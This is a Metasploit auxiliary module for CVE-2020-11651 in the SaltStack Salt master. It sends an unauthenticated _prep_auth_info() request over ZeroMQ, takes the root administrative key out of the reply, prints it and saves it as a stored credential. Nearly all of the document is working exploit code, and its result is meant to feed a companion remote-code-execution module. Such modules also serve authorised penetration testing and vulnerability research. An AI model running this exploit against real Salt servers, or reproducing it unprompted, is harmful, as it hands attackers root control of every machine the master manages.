SaltStack Salt Master Server Root Key Disclosure

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::ZeroMQ
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SaltStack Salt Master Server Root Key Disclosure',
        'Description' => %q{
          This module exploits unauthenticated access to the _prep_auth_info()
          method in the SaltStack Salt master's ZeroMQ request server, for
          versions 2019.2.3 and earlier and 3000.1 and earlier, to disclose the
          root key used to authenticate administrative commands to the master.

          VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
          well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
          Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
          1.3, 1.5, and 1.6 in certain configurations, are known to be affected
          by the Salt vulnerabilities.

          Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
          well as Vulhub's Docker image.
        },
        'Author' => [
          'F-Secure', # Discovery
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-11651'], # Auth bypass (used by this module)
          ['CVE', '2020-11652'], # Authed directory traversals (not used here)
          ['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
          ['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],
          ['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
        ],
        'DisclosureDate' => '2020-04-30', # F-Secure advisory
        'License' => MSF_LICENSE,
        'Actions' => [
          ['Dump', { 'Description' => 'Dump root key from Salt master' }]
        ],
        'DefaultAction' => 'Dump',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options([
      Opt::RPORT(4506)
    ])
  end

  def run
    # These are from Msf::Exploit::Remote::ZeroMQ
    zmq_connect
    zmq_negotiate

    unless (root_key = extract_root_key(yeet_prep_auth_info))
      print_error('Could not find root key in serialized auth info')

      # Return CheckCode for exploit/linux/misc/saltstack_salt_unauth_rce
      return Exploit::CheckCode::Safe
    end

    print_good("Root key: #{root_key}")

    # I hate this API, but store the root key in creds, too
    create_credential_and_login(
      workspace_id: myworkspace_id,
      module_fullname: fullname,
      origin_type: :service,
      address: rhost,
      port: rport,
      protocol: 'tcp',
      service_name: 'salt/zeromq',
      username: 'root',
      private_data: root_key,
      private_type: :password
    )

    # Return CheckCode for exploit/linux/misc/saltstack_salt_unauth_rce
    Exploit::CheckCode::Vulnerable(root_key) # And the root key as the reason!
  rescue EOFError, Rex::ConnectionError => e
    print_error("#{e.class}: #{e.message}")
    Exploit::CheckCode::Unknown
  ensure
    # This is from Msf::Exploit::Remote::ZeroMQ
    zmq_disconnect
  end

  def yeet_prep_auth_info
    print_status("Yeeting _prep_auth_info() at #{peer}")

    zmq_send_message(serialize_clear_load('cmd' => '_prep_auth_info'))

    unless (res = sock.get_once)
      fail_with(Failure::Unknown, 'Did not receive auth info')
    end

    unless res.match(/user.+UserAuthenticationError.+root/m)
      fail_with(Failure::UnexpectedReply,
                "Did not receive serialized auth info: #{res.inspect}")
    end

    vprint_good('Received serialized auth info')

    # HACK: Strip assumed ZeroMQ header and leave assumed MessagePack "load"
    res[4..]
  end

  def extract_root_key(auth_info)
    # Fetch root key from appropriate index of deserialized data, presumably
    MessagePack.unpack(auth_info)[2]&.fetch('root')
  rescue EOFError, KeyError, MessagePack::MalformedFormatError => e
    print_error("#{__method__} failed: #{e.message}")
    nil
  end

end